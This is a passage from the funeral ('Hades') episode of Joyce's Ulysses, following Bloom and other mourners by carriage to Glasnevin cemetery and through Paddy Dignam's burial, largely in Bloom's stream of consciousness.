letter. For my son Leopold. + +No more pain. Wake no more. Nobody owns. + +The carriage rattled swiftly along Blessington street. Over the stones. + +--We are going the pace, I think, Martin Cunningham said. + +--God grant he doesn't upset us on the road, Mr Power said. + +--I hope not, Martin Cunningham said. That will be a great race tomorrow +in Germany. The Gordon Bennett. + +--Yes, by Jove, Mr Dedalus said. That will be worth seeing, faith. + +As they turned into Berkeley street a streetorgan near the Basin sent +over and after them a rollicking rattling song of the halls. Has anybody +here seen Kelly? Kay ee double ell wy. Dead March from SAUL. He's as bad +as old Antonio. He left me on my ownio. Pirouette! The MATER +MISERICORDIAE. Eccles street. My house down there. Big place. Ward for +incurables there. Very encouraging. Our Lady's Hospice for the dying. +Deadhouse handy underneath. Where old Mrs Riordan died. They look +terrible the women. Her feeding cup and rubbing her mouth with the +spoon. Then the screen round her bed for her to die. Nice young student +that was dressed that bite the bee gave me. He's gone over to the lying-in +hospital they told me. From one extreme to the other. The carriage +galloped round a corner: stopped. + +--What's wrong now? + +A divided drove of branded cattle passed the windows, lowing, +slouching by on padded hoofs, whisking their tails slowly on their clotted +bony croups. Outside them and through them ran raddled sheep bleating +their fear. + +--Emigrants, Mr Power said. + +--Huuuh! the drover's voice cried, his switch sounding on their flanks. + +Huuuh! out of that! + +Thursday, of course. Tomorrow is killing day. Springers. Cuffe sold +them about twentyseven quid each. For Liverpool probably. Roastbeef for +old England. They buy up all the juicy ones. And then the fifth quarter +lost: all that raw stuff, hide, hair, horns. Comes to a big thing in a +year. Dead meat trade. Byproducts of the slaughterhouses for tanneries, +soap, margarine. Wonder if that dodge works now getting dicky meat off the +train at Clonsilla. + +The carriage moved on through the drove. + +--I can't make out why the corporation doesn't run a tramline from the +parkgate to the quays, Mr Bloom said. All those animals could be taken in +trucks down to the boats. + +--Instead of blocking up the thoroughfare, Martin Cunningham said. Quite +right. They ought to. + +--Yes, Mr Bloom said, and another thing I often thought, is to have +municipal funeral trams like they have in Milan, you know. Run the line +out to the cemetery gates and have special trams, hearse and carriage and +all. Don't you see what I mean? + +--O, that be damned for a story, Mr Dedalus said. Pullman car and saloon +diningroom. + +--A poor lookout for Corny, Mr Power added. + +--Why? Mr Bloom asked, turning to Mr Dedalus. Wouldn't it be more +decent than galloping two abreast? + +--Well, there's something in that, Mr Dedalus granted. + +--And, Martin Cunningham said, we wouldn't have scenes like that when +the hearse capsized round Dunphy's and upset the coffin on to the road. + +--That was terrible, Mr Power's shocked face said, and the corpse fell +about the road. Terrible! + +--First round Dunphy's, Mr Dedalus said, nodding. Gordon Bennett cup. + +--Praises be to God! Martin Cunningham said piously. + +Bom! Upset. A coffin bumped out on to the road. Burst open. Paddy +Dignam shot out and rolling over stiff in the dust in a brown habit too +large for him. Red face: grey now. Mouth fallen open. Asking what's up +now. Quite right to close it. Looks horrid open. Then the insides +decompose quickly. Much better to close up all the orifices. Yes, also. +With wax. The sphincter loose. Seal up all. + +--Dunphy's, Mr Power announced as the carriage turned right. + +Dunphy's corner. Mourning coaches drawn up, drowning their grief. +A pause by the wayside. Tiptop position for a pub. Expect we'll pull up +here on the way back to drink his health. Pass round the consolation. +Elixir of life. + +But suppose now it did happen. Would he bleed if a nail say cut him in +the knocking about? He would and he wouldn't, I suppose. Depends on +where. The circulation stops. Still some might ooze out of an artery. It +would be better to bury them in red: a dark red. + +In silence they drove along Phibsborough road. An empty hearse +trotted by, coming from the cemetery: looks relieved. + +Crossguns bridge: the royal canal. + +Water rushed roaring through the sluices. A man stood on his +dropping barge, between clamps of turf. On the towpath by the lock a +slacktethered horse. Aboard of the BUGABU. + +Their eyes watched him. On the slow weedy waterway he had floated +on his raft coastward over Ireland drawn by a haulage rope past beds of +reeds, over slime, mudchoked bottles, carrion dogs. Athlone, Mullingar, +Moyvalley, I could make a walking tour to see Milly by the canal. Or cycle +down. Hire some old crock, safety. Wren had one the other day at the +auction but a lady's. Developing waterways. James M'Cann's hobby to row +me o'er the ferry. Cheaper transit. By easy stages. Houseboats. Camping +out. Also hearses. To heaven by water. Perhaps I will without writing. +Come as a surprise, Leixlip, Clonsilla. Dropping down lock by lock to +Dublin. With turf from the midland bogs. Salute. He lifted his brown straw +hat, saluting Paddy Dignam. + +They drove on past Brian Boroimhe house. Near it now. + +--I wonder how is our friend Fogarty getting on, Mr Power said. + +--Better ask Tom Kernan, Mr Dedalus said. + +--How is that? Martin Cunningham said. Left him weeping, I suppose? + +--Though lost to sight, Mr Dedalus said, to memory dear. + +The carriage steered left for Finglas road. + +The stonecutter's yard on the right. Last lap. Crowded on the spit of +land silent shapes appeared, white, sorrowful, holding out calm hands, +knelt in grief, pointing. Fragments of shapes, hewn. In white silence: +appealing. The best obtainable. Thos. H. Dennany, monumental builder and +sculptor. + +Passed. + +On the curbstone before Jimmy Geary, the sexton's, an old tramp sat, +grumbling, emptying the dirt and stones out of his huge dustbrown +yawning boot. After life's journey. + +Gloomy gardens then went by: one by one: gloomy houses. + +Mr Power pointed. + +--That is where Childs was murdered, he said. The last house. + +--So it is, Mr Dedalus said. A gruesome case. Seymour Bushe got him off. +Murdered his brother. Or so they said. + +--The crown had no evidence, Mr Power said. + +--Only circumstantial, Martin Cunningham added. That's the maxim of +the law. Better for ninetynine guilty to escape than for one innocent +person to be wrongfully condemned. + +They looked. Murderer's ground. It passed darkly. Shuttered, +tenantless, unweeded garden. Whole place gone to hell. Wrongfully +condemned. Murder. The murderer's image in the eye of the murdered. +They love reading about it. Man's head found in a garden. Her clothing +consisted of. How she met her death. Recent outrage. The weapon used. +Murderer is still at large. Clues. A shoelace. The body to be exhumed. +Murder will out. + +Cramped in this carriage. She mightn't like me to come that way +without letting her know. Must be careful about women. Catch them once +with their pants down. Never forgive you after. Fifteen. + +The high railings of Prospect rippled past their gaze. Dark poplars, +rare white forms. Forms more frequent, white shapes thronged amid the +trees, white forms and fragments streaming by mutely, sustaining vain +gestures on the air. + +The felly harshed against the curbstone: stopped. Martin +Cunningham put out his arm and, wrenching back the handle, shoved the +door open with his knee. He stepped out. Mr Power and Mr Dedalus +followed. + +Change that soap now. Mr Bloom's hand unbuttoned his hip pocket +swiftly and transferred the paperstuck soap to his inner handkerchief +pocket. He stepped out of the carriage, replacing the newspaper his other +hand still held. + +Paltry funeral: coach and three carriages. It's all the same. +Pallbearers, gold reins, requiem mass, firing a volley. Pomp of death. +Beyond the hind carriage a hawker stood by his barrow of cakes and fruit. +Simnel cakes those are, stuck together: cakes for the dead. Dogbiscuits. +Who ate them? Mourners coming out. + +He followed his companions. Mr Kernan and Ned Lambert followed, +Hynes walking after them. Corny Kelleher stood by the opened hearse and +took out the two wreaths. He handed one to the boy. + +Where is that child's funeral disappeared to? + +A team of horses passed from Finglas with toiling plodding tread, +dragging through the funereal silence a creaking waggon on which lay a +granite block. The waggoner marching at their head saluted. + +Coffin now. Got here before us, dead as he is. Horse looking round at it +with his plume skeowways. Dull eye: collar tight on his neck, pressing on +a bloodvessel or something. Do they know what they cart out here every +day? Must be twenty or thirty funerals every day. Then Mount Jerome for +the protestants. Funerals all over the world everywhere every minute. +Shovelling them under by the cartload doublequick. Thousands every hour. +Too many in the world. + +Mourners came out through the gates: woman and a girl. Leanjawed +harpy, hard woman at a bargain, her bonnet awry. Girl's face stained with +dirt and tears, holding the woman's arm, looking up at her for a sign to +cry. Fish's face, bloodless and livid. + +The mutes shouldered the coffin and bore it in through the gates. So +much dead weight. Felt heavier myself stepping out of that bath. First the +stiff: then the friends of the stiff. Corny Kelleher and the boy followed +with their wreaths. Who is that beside them? Ah, the brother-in-law. + +All walked after. + +Martin Cunningham whispered: + +--I was in mortal agony with you talking of suicide before Bloom. + +--What? Mr Power whispered. How so? + +--His father poisoned himself, Martin Cunningham whispered. Had the +Queen's hotel in Ennis. You heard him say he was going to Clare. +Anniversary. + +--O God! Mr Power whispered. First I heard of it. Poisoned himself? + +He glanced behind him to where a face with dark thinking eyes +followed towards the cardinal's mausoleum. Speaking. + +--Was he insured? Mr Bloom asked. + +--I believe so, Mr Kernan answered. But the policy was heavily mortgaged. +Martin is trying to get the youngster into Artane. + +--How many children did he leave? + +--Five. Ned Lambert says he'll try to get one of the girls into Todd's. + +--A sad case, Mr Bloom said gently. Five young children. + +--A great blow to the poor wife, Mr Kernan added. + +--Indeed yes, Mr Bloom agreed. + +Has the laugh at him now. + +He looked down at the boots he had blacked and polished. She had +outlived him. Lost her husband. More dead for her than for me. One must +outlive the other. Wise men say. There are more women than men in the +world. Condole with her. Your terrible loss. I hope you'll soon follow +him. For Hindu widows only. She would marry another. Him? No. Yet who +knows after. Widowhood not the thing since the old queen died. Drawn on +a guncarriage. Victoria and Albert. Frogmore memorial mourning. But in +the end she put a few violets in her bonnet. Vain in her heart of hearts. +All for a shadow. Consort not even a king. Her son was the substance. +Something new to hope for not like the past she wanted back, waiting. It +never comes. One must go first: alone, under the ground: and lie no more +in her warm bed. + +--How are you, Simon? Ned Lambert said softly, clasping hands. Haven't +seen you for a month of Sundays. + +--Never better. How are all in Cork's own town? + +--I was down there for the Cork park races on Easter Monday, Ned +Lambert said. Same old six and eightpence. Stopped with Dick Tivy. + +--And how is Dick, the solid man? + +--Nothing between himself and heaven, Ned Lambert answered. + +--By the holy Paul! Mr Dedalus said in subdued wonder. Dick Tivy bald? + +--Martin is going to get up a whip for the youngsters, Ned Lambert said, +pointing ahead. A few bob a skull. Just to keep them going till the +insurance is cleared up. + +--Yes, yes, Mr Dedalus said dubiously. Is that the eldest boy in front? + +--Yes, Ned Lambert said, with the wife's brother. John Henry Menton is +behind. He put down his name for a quid. + +--I'll engage he did, Mr Dedalus said. I often told poor Paddy he ought +to mind that job. John Henry is not the worst in the world. + +--How did he lose it? Ned Lambert asked. Liquor, what? + +--Many a good man's fault, Mr Dedalus said with a sigh. + +They halted about the door of the mortuary chapel. Mr Bloom stood +behind the boy with the wreath looking down at his sleekcombed hair and +at the slender furrowed neck inside his brandnew collar. Poor boy! Was he +there when the father? Both unconscious. Lighten up at the last moment +and recognise for the last time. All he might have done. I owe three +shillings to O'Grady. Would he understand? The mutes bore the coffin into +the chapel. Which end is his head? + +After a moment he followed the others in, blinking in the screened +light. The coffin lay on its bier before the chancel, four tall yellow +candles at its corners. Always in front of us. Corny Kelleher, laying a +wreath at each fore corner, beckoned to the boy to kneel. The mourners +knelt here and there in prayingdesks. Mr Bloom stood behind near the font +and, when all had knelt, dropped carefully his unfolded newspaper from his +pocket and knelt his right knee upon it. He fitted his black hat gently on +his left knee and, holding its brim, bent over piously. + +A server bearing a brass bucket with something in it came out through +a door. The whitesmocked priest came after him, tidying his stole with one +hand, balancing with the other a little book against his toad's belly. +Who'll read the book? I, said the rook. + +They halted by the bier and the priest began to read out of his book +with a fluent croak. + +Father Coffey. I knew his name was like a coffin. DOMINE-NAMINE. +Bully about the muzzle he looks. Bosses the show. Muscular christian. Woe +betide anyone that looks crooked at him: priest. Thou art Peter. Burst +sideways like a sheep in clover Dedalus says he will. With a belly on him +like a poisoned pup. Most amusing expressions that man finds. Hhhn: burst +sideways. + +--NON INTRES IN JUDICIUM CUM SERVO TUO, DOMINE. + +Makes them feel more important to be prayed over in Latin. Requiem +mass. Crape weepers. Blackedged notepaper. Your name on the altarlist. +Chilly place this. Want to feed well, sitting in there all the morning in +the gloom kicking his heels waiting for the next please. Eyes of a toad +too. What swells him up that way? Molly gets swelled after cabbage. Air of +the place maybe. Looks full up of bad gas. Must be an infernal lot of bad +gas round the place. Butchers, for instance: they get like raw beefsteaks. +Who was telling me? Mervyn Browne. Down in the vaults of saint Werburgh's +lovely old organ hundred and fifty they have to bore a hole in the coffins +sometimes to let out the bad gas and burn it. Out it rushes: blue. One +whiff of that and you're a doner. + +My kneecap is hurting me. Ow. That's better. + +The priest took a stick with a knob at the end of it out of the boy's +bucket and shook it over the coffin. Then he walked to the other end and +shook it again. Then he came back and put it back in the bucket. As you +were before you rested. It's all written down: he has to do it. + +--ET NE NOS INDUCAS IN TENTATIONEM. + +The server piped the answers in the treble. I often thought it would be +better to have boy servants. Up to fifteen or so. After that, of +course ... + +Holy water that was, I expect. Shaking sleep out of it. He must be fed +up with that job, shaking that thing over all the corpses they trot up. +What harm if he could see what he was shaking it over. Every mortal day a +fresh batch: middleaged men, old women, children, women dead in +childbirth, men with beards, baldheaded businessmen, consumptive girls +with little sparrows' breasts. All the year round he prayed the same thing +over them all and shook water on top of them: sleep. On Dignam now. + +--IN PARADISUM. + +Said he was going to paradise or is in paradise. Says that over everybody. +Tiresome kind of a job. But he has to say something. + +The priest closed his book and went off, followed by the server. +Corny Kelleher opened the sidedoors and the gravediggers came in, hoisted +the coffin again, carried it out and shoved it on their cart. Corny +Kelleher gave one wreath to the boy and one to the brother-in-law. All +followed them out of the sidedoors into the mild grey air. Mr Bloom came +last folding his paper again into his pocket. He gazed gravely at the +ground till the coffincart wheeled off to the left. The metal wheels +ground the gravel with a sharp grating cry and the pack of blunt boots +followed the trundled barrow along a lane of sepulchres. + +The ree the ra the ree the ra the roo. Lord, I mustn't lilt here. + +--The O'Connell circle, Mr Dedalus said about him. + +Mr Power's soft eyes went up to the apex of the lofty cone. + +--He's at rest, he said, in the middle of his people, old Dan O'. But his +heart is buried in Rome. How many broken hearts are buried here, Simon! + +--Her grave is over there, Jack, Mr Dedalus said. I'll soon be stretched +beside her. Let Him take me whenever He likes. + +Breaking down, he began to weep to himself quietly, stumbling a little +in his walk. Mr Power took his arm. + +--She's better where she is, he said kindly. + +--I suppose so, Mr Dedalus said with a weak gasp. I suppose she is in +heaven if there is a heaven. + +Corny Kelleher stepped aside from his rank and allowed the mourners to +plod by. + +--Sad occasions, Mr Kernan began politely. + +Mr Bloom closed his eyes and sadly twice bowed his head. + +--The others are putting on their hats, Mr Kernan said. I suppose we can +do so too. We are the last. This cemetery is a treacherous place. + +They covered their heads. + +--The reverend gentleman read the service too quickly, don't you think? +Mr Kernan said with reproof. + +Mr Bloom nodded gravely looking in the quick bloodshot eyes. Secret +eyes, secretsearching. Mason, I think: not sure. Beside him again. We are +the last. In the same boat. Hope he'll say something else. + +Mr Kernan added: + +--The service of the Irish church used in Mount Jerome is simpler, more +impressive I must say. + +Mr Bloom gave prudent assent. The language of course was another thing. + +Mr Kernan said with solemnity: + +--I AM THE RESURRECTION AND THE LIFE. That touches a man's inmost heart. + +--It does, Mr Bloom said. + +Your heart perhaps but what price the fellow in the six feet by two +with his toes to the daisies? No touching that. Seat of the affections. +Broken heart. A pump after all, pumping thousands of gallons of blood +every day. One fine day it gets bunged up: and there you are. Lots of +them lying around here: lungs, hearts, livers. Old rusty pumps: damn the +thing else. The resurrection and the life. Once you are dead you are dead. +That last day idea. Knocking them all up out of their graves. Come forth, +Lazarus! And he came fifth and lost the job. Get up! Last day! Then every +fellow mousing around for his liver and his lights and the rest of his +traps. Find damn all of himself that morning. Pennyweight of powder in +a skull. Twelve grammes one pennyweight. Troy measure. + +Corny Kelleher fell into step at their side. + +--Everything went off A1, he said. What? + +He looked on them from his drawling eye. Policeman's shoulders. With +your tooraloom tooraloom. + +--As it should be, Mr Kernan said. + +--What? Eh? Corny Kelleher said. + +Mr Kernan assured him. + +--Who is that chap behind with Tom Kernan? John Henry Menton asked. I +know his face. + +Ned Lambert glanced back. + +--Bloom, he said, Madame Marion Tweedy that was, is, I mean, the +soprano. She's his wife. + +--O, to be sure, John Henry Menton said. I haven't seen her for some time. +he was a finelooking woman. I danced with her, wait, fifteen seventeen +golden years ago, at Mat Dillon's in Roundtown. And a good armful she +was. + +He looked behind through the others. + +--What is he? he asked. What does he do? Wasn't he in the stationery line? +I fell foul of him one evening, I remember, at bowls. + +Ned Lambert smiled. + +--Yes, he was, he said, in Wisdom Hely's. A traveller for blottingpaper. + +--In God's name, John Henry Menton said, what did she marry a coon like +that for? She had plenty of game in her then. + +--Has still, Ned Lambert said. He does some canvassing for ads. + +John Henry Menton's large eyes stared ahead. + +The barrow turned into a side lane. A portly man, ambushed among +the grasses, raised his hat in homage. The gravediggers touched their +caps. + +--John O'Connell, Mr Power said pleased. He never forgets a friend. + +Mr O'Connell shook all their hands in silence. Mr Dedalus said: + +--I am come to pay you another visit. + +--My dear Simon, the caretaker answered in a low voice. I don't want your +custom at all. + +Saluting Ned Lambert and John Henry Menton he walked on at Martin +Cunningham's side puzzling two long keys at his back. + +--Did you hear that one, he asked them, about Mulcahy from the Coombe? + +--I did not, Martin Cunningham said. + +They bent their silk hats in concert and Hynes inclined his ear. The +caretaker hung his thumbs in the loops of his gold watchchain and spoke in +a discreet tone to their vacant smiles. + +--They tell the story, he said, that two drunks came out here one foggy +evening to look for the grave of a friend of theirs. They asked for +Mulcahy from the Coombe and were told where he was buried. After traipsing +about in the fog they found the grave sure enough. One of the drunks spelt +out the name: Terence Mulcahy. The other drunk was blinking up at a statue +of Our Saviour the widow had got put up. + +The caretaker blinked up at one of the sepulchres they passed. He +resumed: + +--And, after blinking up at the sacred figure, NOT A BLOODY BIT LIKE THE +MAN, says he. THAT'S NOT MULCAHY, says he, WHOEVER DONE IT. + +Rewarded by smiles he fell back and spoke with Corny Kelleher, accepting +the dockets given him, turning them over and scanning them as he walked. + +--That's all done with a purpose, Martin Cunningham explained to Hynes. + +--I know, Hynes said. I know that. + +--To cheer a fellow up, Martin Cunningham said. It's pure goodheartedness: +damn the thing else. + +Mr Bloom admired the caretaker's prosperous bulk. All want to be on +good terms with him. Decent fellow, John O'Connell, real good sort. Keys: +like Keyes's ad: no fear of anyone getting out. No passout checks. HABEAS +CORPUS. I must see about that ad after the funeral. Did I write +Ballsbridge on the envelope I took to cover when she disturbed me writing +to Martha? Hope it's not chucked in the dead letter office. Be the better +of a shave. Grey sprouting beard. That's the first sign when the hairs +come out grey. And temper getting cross. Silver threads among the grey. +Fancy being his wife. Wonder he had the gumption to propose to any girl. +Come out and live in the graveyard. Dangle that before her. It might +thrill her first. Courting death ... Shades of night hovering here with +all the dead stretched about. The shadows of the tombs when churchyards +yawn and Daniel O'Connell must be a descendant I suppose who is this used +to say he was a queer breedy man great catholic all the same like a big +giant in the dark. Will o' the wisp. Gas of graves. Want to keep her mind +off it to conceive at all. Women especially are so touchy. Tell her a +ghost story in bed to make her sleep. Have you ever seen a ghost? Well, I +have. It was a pitchdark night. The clock was on the stroke of twelve. +Still they'd kiss all right if properly keyed up. Whores in Turkish +graveyards. Learn anything if taken young. You might pick up a young +widow here. Men like that. Love among the tombstones. Romeo. Spice of +pleasure. In the midst of death we are in life. Both ends meet. +Tantalising for the poor dead. Smell of grilled beefsteaks to the +starving. Gnawing their vitals. Desire to grig people. Molly wanting to +do it at the window. Eight children he has anyway. + +He has seen a fair share go under in his time, lying around him field +after field. Holy fields. More room if they buried them standing. Sitting +or kneeling you couldn't. Standing? His head might come up some day above +ground in a landslip with his hand pointing. All honeycombed the ground +must be: oblong cells. And very neat he keeps it too: trim grass and +edgings. His garden Major Gamble calls Mount Jerome. Well, so it is. +Ought to be flowers of sleep. Chinese cemeteries with giant poppies +growing produce the best opium Mastiansky told me. The Botanic Gardens +are just over there. It's the blood sinking in the earth gives new life. +Same idea those jews they said killed the christian boy. Every man +his price. Well preserved fat corpse, gentleman, epicure, invaluable +for fruit garden. A bargain. By carcass of William Wilkinson, auditor +and accountant, lately deceased, three pounds thirteen and six. +With thanks. + +I daresay the soil would be quite fat with corpsemanure, bones, flesh, +nails. Charnelhouses. Dreadful. Turning green and pink decomposing. Rot +quick in damp earth. The lean old ones tougher. Then a kind of a tallowy +kind of a cheesy. Then begin to get black, black treacle oozing out of +them. Then dried up. Deathmoths. Of course the cells or whatever they are +go on living. Changing about. Live for ever practically. Nothing to feed +on feed on themselves. + +But they must breed a devil of a lot of maggots. Soil must be simply +swirling with them. Your head it simply swurls. Those pretty little +seaside gurls. He looks cheerful enough over it. Gives him a sense of +power seeing all the others go under first. Wonder how he looks at life. +Cracking his jokes too: warms the cockles of his heart. The one about the +bulletin. Spurgeon went to heaven 4 a.m. this morning. 11 p.m. +(closing time). Not arrived yet. Peter. The dead themselves the men +anyhow would like to hear an odd joke or the women to know what's in +fashion. A juicy pear or ladies' punch, hot, strong and sweet. Keep out +the damp. You must laugh sometimes so better do it that way. Gravediggers +in HAMLET. Shows the profound knowledge of the human heart. Daren't joke +about the dead for two years at least. DE MORTUIS NIL NISI PRIUS. Go out +of mourning first. Hard to imagine his funeral. Seems a sort of a joke. +Read your own obituary notice they say you live longer. Gives you second +wind. New lease of life. + +--How many have-you for tomorrow? the caretaker asked. + +--Two, Corny Kelleher said. Half ten and eleven. + +The caretaker put the papers in his pocket. The barrow had ceased to +trundle. The mourners split and moved to each side of the hole, stepping +with care round the graves. The gravediggers bore the coffin and set its +nose on the brink, looping the bands round it. + +Burying him. We come to bury Caesar. His ides of March or June. +He doesn't know who is here nor care. +Now who is that lankylooking galoot over there in the macintosh? +Now who is he I'd like to know? Now I'd give a trifle to know who he is. +Always someone turns up you never dreamt of. A fellow could live on his +lonesome all his life. Yes, he could. Still he'd have to get someone to +sod him after he died though he could dig his own grave. We all do. Only +man buries. No, ants too. First thing strikes anybody. Bury the dead. Say +Robinson Crusoe was true to life. Well then Friday buried him. Every +Friday buries a Thursday if you come to look at it. + + + O, POOR ROBINSON CRUSOE! + HOW COULD YOU POSSIBLY DO SO? + + +Poor Dignam! His last lie on the earth in his box. When you think of +them all it does seem a waste of wood. All gnawed through. They could +invent a handsome bier with a kind of panel sliding, let it down that way. +Ay but they might object to be buried out of another fellow's. They're so +particular. Lay me in my native earth. Bit of clay from the holy land. +Only a mother and deadborn child ever buried in the one coffin. I see what +it means. I see. To protect him as long as possible even in the earth. The +Irishman's house is his coffin. Embalming in catacombs, mummies the same +idea. + +Mr Bloom stood far back, his hat in his hand, counting the bared +heads. Twelve. I'm thirteen. No. The chap in the macintosh is thirteen. +Death's number. Where the deuce did he pop out of? He wasn't in the +chapel, that I'll swear. Silly superstition that about thirteen. + +Nice soft tweed Ned Lambert has in that suit. Tinge of purple. I had +one like that when we lived in Lombard street west. Dressy fellow he was +once. Used to change three suits in the day. Must get that grey suit of +mine turned by Mesias. Hello. It's dyed. His wife I forgot he's not +married or his landlady ought to have picked out those threads for him. + +The coffin dived out of sight, eased down by the men straddled on the +gravetrestles. They struggled up and out: and all uncovered. Twenty. + +Pause. + +If we were all suddenly somebody else. + +Far away a donkey brayed. Rain. No such ass. Never see a dead one, +they say. Shame of death. They hide. Also poor papa went away. + +Gentle sweet air blew round the bared heads in a whisper. Whisper. +The boy by the gravehead held his wreath with both hands staring quietly +in the black open space. Mr Bloom moved behind the portly kindly +caretaker. Wellcut frockcoat. Weighing them up perhaps to see which will +go next. Well, it is a long rest. Feel no more. It's the moment you feel. +Must be damned unpleasant. Can't believe it at first. Mistake must be: +someone else. Try the house opposite. Wait, I wanted to. I haven't yet. +Then darkened deathchamber. Light they want. Whispering around you. Would +you like to see a priest? Then rambling and wandering. Delirium all you +hid all your life. The death struggle. His sleep is not natural. Press his +lower eyelid. Watching is his nose pointed is his jaw sinking are the +soles of his feet yellow. Pull the pillow away and finish it off on the +floor since he's doomed. Devil in that picture of sinner's death showing +him a woman. Dying to embrace her in his shirt. Last act of LUCIA. +SHALL I NEVERMORE BEHOLD THEE? Bam! He expires. Gone at last. People +talk about you a bit: forget you. Don't forget to pray for him. +Remember him in your prayers. Even Parnell. Ivy day dying out. Then +they follow: dropping into a hole, one after the other. + +We are praying now for the repose of his soul. Hoping you're well +and not in hell. Nice change of air. Out of the fryingpan of life into the +fire of purgatory. + +Does he ever think of the hole waiting for himself? They say you do +when you shiver in the sun. Someone walking over it. Callboy's warning. +Near you. Mine over there towards Finglas, the plot I bought. Mamma, +poor mamma, and little Rudy. + +The gravediggers took up their spades and flung heavy clods of clay +in on the coffin. Mr Bloom turned away his face. And if he was alive all +the time? Whew! By jingo, that would be awful! No, no: he is dead, of +course. Of course he is dead. Monday he died. They ought to have +some law to pierce the heart and make sure or an electric clock or +a telephone in the coffin and some kind of a canvas airhole. Flag of +distress. Three days. Rather long to keep them in summer. Just as well +to get shut of them as soon as you are sure there's no. + +The clay fell softer. Begin to be forgotten. Out of sight, out of mind. + +The caretaker moved away a few paces and put on his hat. Had +enough of it. The mourners took heart of grace, one by one, covering +themselves without show. Mr Bloom put on his hat and saw the portly +figure make its way deftly through the maze of graves. Quietly, sure of +his ground, he traversed the dismal fields. + +Hynes jotting down something in his notebook. Ah, the names. But he +knows them all. No: coming to me. + +--I am just taking the names, Hynes said below his breath. What is your +christian name? I'm not sure. + +--L, Mr Bloom said. Leopold. And you might put down M'Coy's name too. +He asked me to. + +--Charley, Hynes said writing. I know. He was on the FREEMAN once. + +So he was before he got the job in the morgue under Louis Byrne. +Good idea a postmortem for doctors. Find out what they imagine they +know. He died of a Tuesday. Got the run. Levanted with the cash of a few +ads. Charley, you're my darling. That was why he asked me to. O well, +does no harm. I saw to that, M'Coy. Thanks, old chap: much obliged. +Leave him under an obligation: costs nothing. + +--And tell us, Hynes said, do you know that fellow in the, fellow was +over there in the ... + +He looked around. + +--Macintosh. Yes, I saw him, Mr Bloom said. Where is he now? + +--M'Intosh, Hynes said scribbling. I don't know who he is. Is that +his name? + +He moved away, looking about him. + +--No, Mr Bloom began, turning and stopping. I say, Hynes! + +Didn't hear. What? Where has he disappeared to? Not a sign. Well of +all the. Has anybody here seen? Kay ee double ell. Become invisible. Good +Lord, what became of him? + +A seventh gravedigger came beside Mr Bloom to take up an idle spade. + +--O, excuse me! + +He stepped aside nimbly. + +Clay, brown, damp, began to be seen in the hole. It rose. Nearly over. +A mound of damp clods rose more, rose, and the gravediggers rested their +spades. All uncovered again for a few instants. The boy propped his wreath +against a corner: the brother-in-law his on a lump. The gravediggers put +on their caps and carried their earthy spades towards the barrow. Then +knocked the blades lightly on the turf: clean. One bent to pluck from the +haft a long tuft of grass. One, leaving his mates, walked slowly on with +shouldered weapon, its blade blueglancing. Silently at the gravehead +another coiled the coffinband. His navelcord. The brother-in-law, turning +away, placed something in his free hand. Thanks in silence. Sorry, sir: +trouble. Headshake. I know that. For yourselves just. + +The mourners moved away slowly without aim, by devious paths, +staying at whiles to read a name on a tomb. + +--Let us go round by the chief's grave, Hynes said. We have time. + +--Let us, Mr Power said. + +They turned to the right, following their slow thoughts. With awe Mr +Power's blank voice spoke: + +--Some say he is not in that grave at all. That the coffin was filled +with stones. That one day he will come again. + +Hynes shook his head. + +--Parnell will never come again, he said. He's there, all that was mortal +of him. Peace to his ashes. + +Mr Bloom walked unheeded along his grove by saddened angels, +crosses, broken pillars, family vaults, stone hopes praying with upcast +eyes, old Ireland's hearts and hands. More sensible to spend the money on +some charity for the living. Pray for the repose of the soul of. Does +anybody really? Plant him and have done with him. Like down a coalshoot. +Then lump them together to save time. All souls' day. Twentyseventh I'll +be at his grave. Ten shillings for the gardener. He keeps it free of +weeds. Old man himself. Bent down double with his shears clipping. Near +death's door. Who passed away. Who departed this life. As if they did it +of their own accord. Got the shove, all of them. Who kicked the bucket. +More interesting if they told you what they were. So and So, wheelwright. +I travelled for cork lino. I paid five shillings in the pound. Or a +woman's with her saucepan. I cooked good Irish stew. Eulogy in a country +churchyard it ought to be that poem of whose is it Wordsworth or Thomas +Campbell. Entered into rest the protestants put it. Old Dr Murren's. +The great physician called him home. Well it's God's acre for them. +Nice country residence. Newly plastered and painted. Ideal spot to +have a quiet smoke and read the CHURCH TIMES. Marriage ads they never +try to beautify. Rusty wreaths hung on knobs, garlands of bronzefoil. +Better value that for the money. Still, the flowers are more poetical. +The other gets rather tiresome, never withering. Expresses nothing. +Immortelles. + +A bird sat tamely perched on a poplar branch. Like stuffed. Like the +wedding present alderman Hooper gave us. Hoo! Not a budge out of him. +Knows there are no catapults to let fly at him. Dead animal even sadder. +Silly-Milly burying the little dead bird in the kitchen matchbox, a +daisychain and bits of broken chainies on the grave. + +The Sacred Heart that is: showing it. Heart on his sleeve. Ought to be +sideways and red it should be painted like a real heart. Ireland was +dedicated to it or whatever that. Seems anything but pleased. Why this +infliction? Would birds come then and peck like the boy with the basket of +fruit but he said no because they ought to have been afraid of the boy. +Apollo that was. + +How many! All these here once walked round Dublin. Faithful departed. +As you are now so once were we. + +Besides how could you remember everybody? Eyes, walk, voice. Well, +the voice, yes: gramophone. Have a gramophone in every grave or keep it +in the house. After dinner on a Sunday. Put on poor old greatgrandfather. +Kraahraark! Hellohellohello amawfullyglad kraark awfullygladaseeagain +hellohello amawf krpthsth. Remind you of the voice like the photograph +reminds you of the face. Otherwise you couldn't remember the face after +fifteen years, say. For instance who? For instance some fellow that died +when I was in Wisdom Hely's. + +Rtststr! A rattle of pebbles. Wait. Stop! + +He looked down intently into a stone crypt. Some animal. Wait. +There he goes. + +An obese grey rat toddled along the side of the crypt, moving the +pebbles. An old stager: greatgrandfather: he knows the ropes. The grey +alive crushed itself in under the plinth, wriggled itself in under it. +Good hidingplace for treasure. + +Who lives there? Are laid the remains of Robert Emery. Robert +Emmet was buried here by torchlight, wasn't he? Making his rounds. + +Tail gone now. + +One of those chaps would make short work of a fellow. Pick the +bones clean no matter who it was. Ordinary meat for them. A corpse is +meat gone bad. Well and what's cheese? Corpse of milk. I read in that +VOYAGES IN CHINA that the Chinese say a white man smells like a corpse. +Cremation better. Priests dead against it. Devilling for the other firm. +Wholesale burners and Dutch oven dealers. Time of the plague. Quicklime +feverpits to eat them. Lethal chamber. Ashes to ashes. Or bury at sea. +Where is that Parsee tower of silence? Eaten by birds. Earth, fire, water. +Drowning they say is the pleasantest. See your whole life in a flash. But +being brought back to life no. Can't bury in the air however. Out of a +flying machine. Wonder does the news go about whenever a fresh one is let +down. Underground communication. We learned that from them. Wouldn't be +surprised. Regular square feed for them. Flies come before he's well dead. +Got wind of Dignam. They wouldn't care about the smell of it. 